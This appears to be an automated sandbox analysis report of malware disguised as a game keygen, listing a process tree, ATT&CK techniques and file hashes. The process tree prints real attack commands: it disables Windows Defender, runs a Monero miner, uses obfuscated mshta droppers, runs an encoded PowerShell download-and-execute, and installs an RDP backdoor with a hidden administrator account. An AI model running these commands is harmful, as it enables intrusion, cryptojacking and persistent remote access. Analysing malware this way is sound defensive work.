C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\753C.exeC:\Users\Admin\AppData\Local\Temp\753C.exe1⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\C3EA.exeC:\Users\Admin\AppData\Local\Temp\C3EA.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\1C5C.exeC:\Users\Admin\AppData\Local\Temp\1C5C.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run2⤵
-
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /SpecialRun 4101d8 83523⤵
-
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run2⤵
-
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /SpecialRun 4101d8 57323⤵
-
C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exeC:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o pool.minexmr.com:4444 -u 41xQLBScRp2AYzgDLeA8VqGVh169Bys1VEfjGYS7RWjQLPFqmdudp3d5S1rk1ahLws3rS5r4mqSuyXhFqr2S2qC231EdaBU.RIG01 -p x --algo rx/03⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\723D.exeC:\Users\Admin\AppData\Local\Temp\723D.exe1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
C:\Users\Admin\AppData\Local\Temp\A41C.exeC:\Users\Admin\AppData\Local\Temp\A41C.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\A41C.exeC:\Users\Admin\AppData\Local\Temp\A41C.exe2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\2209492a-d66e-4f81-a995-bc9456a39b6c" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\A41C.exe"C:\Users\Admin\AppData\Local\Temp\A41C.exe" --Admin IsNotAutoStart IsNotTask3⤵
-
C:\Users\Admin\AppData\Local\Temp\A41C.exe"C:\Users\Admin\AppData\Local\Temp\A41C.exe" --Admin IsNotAutoStart IsNotTask4⤵
-
C:\Users\Admin\AppData\Local\7bf96b14-eb82-47d9-b0c6-919a2338cf65\build2.exe"C:\Users\Admin\AppData\Local\7bf96b14-eb82-47d9-b0c6-919a2338cf65\build2.exe"5⤵
-
C:\Users\Admin\AppData\Local\7bf96b14-eb82-47d9-b0c6-919a2338cf65\build2.exe"C:\Users\Admin\AppData\Local\7bf96b14-eb82-47d9-b0c6-919a2338cf65\build2.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\7bf96b14-eb82-47d9-b0c6-919a2338cf65\build2.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\7bf96b14-eb82-47d9-b0c6-919a2338cf65\build3.exe"C:\Users\Admin\AppData\Local\7bf96b14-eb82-47d9-b0c6-919a2338cf65\build3.exe"5⤵
-
C:\Users\Admin\AppData\Local\7bf96b14-eb82-47d9-b0c6-919a2338cf65\build3.exe"C:\Users\Admin\AppData\Local\7bf96b14-eb82-47d9-b0c6-919a2338cf65\build3.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\A8B1.exeC:\Users\Admin\AppData\Local\Temp\A8B1.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im A8B1.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\A8B1.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im A8B1.exe /f3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\AF97.exeC:\Users\Admin\AppData\Local\Temp\AF97.exe1⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIpt: CloSE ( CReaTeOBJEcT ( "WscRiPT.SHEll" ). rUn ( "C:\Windows\system32\cmd.exe /r tyPe ""C:\Users\Admin\AppData\Local\Temp\AF97.exe"" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if """" == """" for %v In ( ""C:\Users\Admin\AppData\Local\Temp\AF97.exe"" ) do taskkill -iM ""%~nXv"" /F " , 0, truE ) )2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r tyPe "C:\Users\Admin\AppData\Local\Temp\AF97.exe" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if "" == "" for %v In ( "C:\Users\Admin\AppData\Local\Temp\AF97.exe" ) do taskkill -iM "%~nXv" /F3⤵
-
C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIpt: CloSE ( CReaTeOBJEcT ( "WscRiPT.SHEll" ). rUn ( "C:\Windows\system32\cmd.exe /r tyPe ""C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE"" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if ""/pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo "" == """" for %v In ( ""C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE"" ) do taskkill -iM ""%~nXv"" /F " , 0, truE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r tyPe "C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if "/pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo " == "" for %v In ( "C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE" ) do taskkill -iM "%~nXv" /F6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCrIpT: clOsE ( CReaTeobJecT ( "wscRIPT.sHELl" ). ruN ( "CmD /q /r Echo | set /p = ""MZ"" > jo4H.q&COPy /B /Y JO4H.Q + XnY7kB~A.WCr +487fXM.V + CHBTE0X.Zm + oD_N_P5.BfY LeJ9.uX & stArT msiexec.exe /y .\LEJ9.uX " , 0 , TRue ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /r Echo | set /p = "MZ" > jo4H.q&COPy /B /Y JO4H.Q + XnY7kB~A.WCr +487fXM.V + CHBTE0X.Zm + oD_N_P5.BfY LeJ9.uX & stArT msiexec.exe /y .\LEJ9.uX6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>jo4H.q"7⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /y .\LEJ9.uX7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "AF97.exe" /F4⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\98FE.exeC:\Users\Admin\AppData\Local\Temp\98FE.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3goevdbe\3goevdbe.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4700.tmp" "c:\Users\Admin\AppData\Local\Temp\3goevdbe\CSCD364563776114C058CE6CD171B849DAF.TMP"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
-
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
-
C:\Windows\system32\net.exenet start rdpdr5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
-
C:\Windows\system32\net.exenet start TermService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵
-
C:\Users\Admin\AppData\Local\Temp\1014.exeC:\Users\Admin\AppData\Local\Temp\1014.exe1⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵
-
C:\Users\Admin\Desktop\CrowdInspect.exe"C:\Users\Admin\Desktop\CrowdInspect.exe"1⤵
-
C:\Users\Admin\Desktop\CrowdInspect64.exe"C:\Users\Admin\Desktop\CrowdInspect64.exe"2⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
-
C:\Users\Admin\Desktop\CrowdInspect.exe"C:\Users\Admin\Desktop\CrowdInspect.exe"1⤵
-
C:\Users\Admin\Desktop\CrowdInspect64.exe"C:\Users\Admin\Desktop\CrowdInspect64.exe"2⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Ghasar4f5 /del1⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc Ghasar4f5 /del2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc GEXL42v7 /add1⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc GEXL42v7 /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc GEXL42v7 /add3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc GEXL42v71⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc GEXL42v72⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc GEXL42v73⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Loads dropped DLL
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Modify Existing Service
2Account Manipulation
1New Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1BITS Jobs
1Defense Evasion
Modify Registry
4Disabling Security Tools
1Virtualization/Sandbox Evasion
1File Permissions Modification
1BITS Jobs
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue130c270d23c79.exeMD5
70d8e17fd898d07c41806f2223bd17d1
SHA1f03a879157a19193cb5fd6e3d5618576c79194ed
SHA2568bc3857a54345a12c4e0587839d193a0b5dfe7c7d812b1f76caedf1d21122c78
SHA5128e1cabfb1aaa6d6766bfbe56f968436fc422579390b47821369705ec681f894eeec227b6bb8f620f2876235795ef8bfe002e3ef6653fa92932e17cb27d22b541
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\libcurl.dllMD5
d09be1f47fd6b827c81a4812b4f7296f
SHA1028ae3596c0790e6d7f9f2f3c8e9591527d267f7
SHA2560de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e
SHA512857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\libcurlpp.dllMD5
e6e578373c2e416289a8da55f1dc5e8e
SHA1b601a229b66ec3d19c2369b36216c6f6eb1c063e
SHA25643e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f
SHA5129df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\libgcc_s_dw2-1.dllMD5
9aec524b616618b0d3d00b27b6f51da1
SHA164264300801a353db324d11738ffed876550e1d3
SHA25659a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e
SHA5120648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\libstdc++-6.dllMD5
5e279950775baae5fea04d2cc4526bcc
SHA18aef1e10031c3629512c43dd8b0b5d9060878453
SHA25697de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87
SHA512666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\libwinpthread-1.dllMD5
1e0d62c34ff2e649ebc5c372065732ee
SHA1fcfaa36ba456159b26140a43e80fbd7e9d9af2de
SHA256509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723
SHA5123653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\setup_install.exeMD5
d394cd023cfd126b740f29e6956ed362
SHA10f16447ebf97caa580cf73e9c05bf2aa8808ddae
SHA256b1bc03c90b4ebc8977c471c99c39622976834414613df20830a4669d853a21cf
SHA5127330af7776257d14af9220dd3be6b503b3654b2ee21804f30e4bdc382a918b8d2fc07a4e6e0d8d59b3e1930d5c86d693e4d46e924e7121bd29625251c6d24321
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\setup_install.exeMD5
d394cd023cfd126b740f29e6956ed362
SHA10f16447ebf97caa580cf73e9c05bf2aa8808ddae
SHA256b1bc03c90b4ebc8977c471c99c39622976834414613df20830a4669d853a21cf
SHA5127330af7776257d14af9220dd3be6b503b3654b2ee21804f30e4bdc382a918b8d2fc07a4e6e0d8d59b3e1930d5c86d693e4d46e924e7121bd29625251c6d24321
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exeMD5
f886c0ce5b617bab1159af1de469c058
SHA1b84c69c084a4cc74ec79389cff537f75e1cf3692
SHA2569797e80f0469ed3626a176744f3ad8ce1f65780e260245bec8795695131c9728
SHA512b5d4328551decd783e427f1d911b021d50d683fd1615f84a9319f70b6ad6b0018b5797c08c88566b731ba8bc976971d13244d61c0d9e1f505804fb4c97731fa4
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exeMD5
f886c0ce5b617bab1159af1de469c058
SHA1b84c69c084a4cc74ec79389cff537f75e1cf3692
SHA2569797e80f0469ed3626a176744f3ad8ce1f65780e260245bec8795695131c9728
SHA512b5d4328551decd783e427f1d911b021d50d683fd1615f84a9319f70b6ad6b0018b5797c08c88566b731ba8bc976971d13244d61c0d9e1f505804fb4c97731fa4
-
C:\Users\Admin\Desktop\City_Car_Driving_Version_2_2_serial_number_keygen_by_aaocg.exeMD5
abcd6f2d25aad93f2059dd586c77880b
SHA150602960df4d6dd59c06e38d822ca9eb0b8fbd04
SHA256832e7e0dae718d7b599509ae92aeeaa7159de84cbafe66a8ea62d9ef5efd8060
SHA5121ba95cfe6f7ebeae96f74e86bbb7f53905db6dd7ebf38ccf7a68e226b83735adbeb94a3f110a47cd0831877ea8a05bf265e04657e96a50ce76e5625bfb8b5d88
-
C:\Users\Admin\Desktop\City_Car_Driving_Version_2_2_serial_number_keygen_by_aaocg.exeMD5
abcd6f2d25aad93f2059dd586c77880b
SHA150602960df4d6dd59c06e38d822ca9eb0b8fbd04
SHA256832e7e0dae718d7b599509ae92aeeaa7159de84cbafe66a8ea62d9ef5efd8060
SHA5121ba95cfe6f7ebeae96f74e86bbb7f53905db6dd7ebf38ccf7a68e226b83735adbeb94a3f110a47cd0831877ea8a05bf265e04657e96a50ce76e5625bfb8b5d88
-
C:\Users\Admin\Desktop\CrowdInspect.exeMD5
7f4ad5be771768b525d7bea89c304d27
SHA1d9f24f3b39f14757d6906180d7c2246df6dcef63
SHA256e40fdc2c8813c9a344636f359da221ab7e15b1ddaba5536615b64af9687eb630
SHA5121a873994da7f07253378e1d3229acb50f1660c3031507a52720215d02f27c917a7617e2e386eb96d0f75e7dd68762cc813b9d09da97ac6d4891c42120f34778e
-
C:\Users\Admin\Desktop\CrowdInspect.exeMD5
7f4ad5be771768b525d7bea89c304d27
SHA1d9f24f3b39f14757d6906180d7c2246df6dcef63
SHA256e40fdc2c8813c9a344636f359da221ab7e15b1ddaba5536615b64af9687eb630
SHA5121a873994da7f07253378e1d3229acb50f1660c3031507a52720215d02f27c917a7617e2e386eb96d0f75e7dd68762cc813b9d09da97ac6d4891c42120f34778e
-
C:\Users\Admin\Desktop\CrowdInspect64.exeMD5
6ad31985ad2ac2cc0a11c1219db585f2
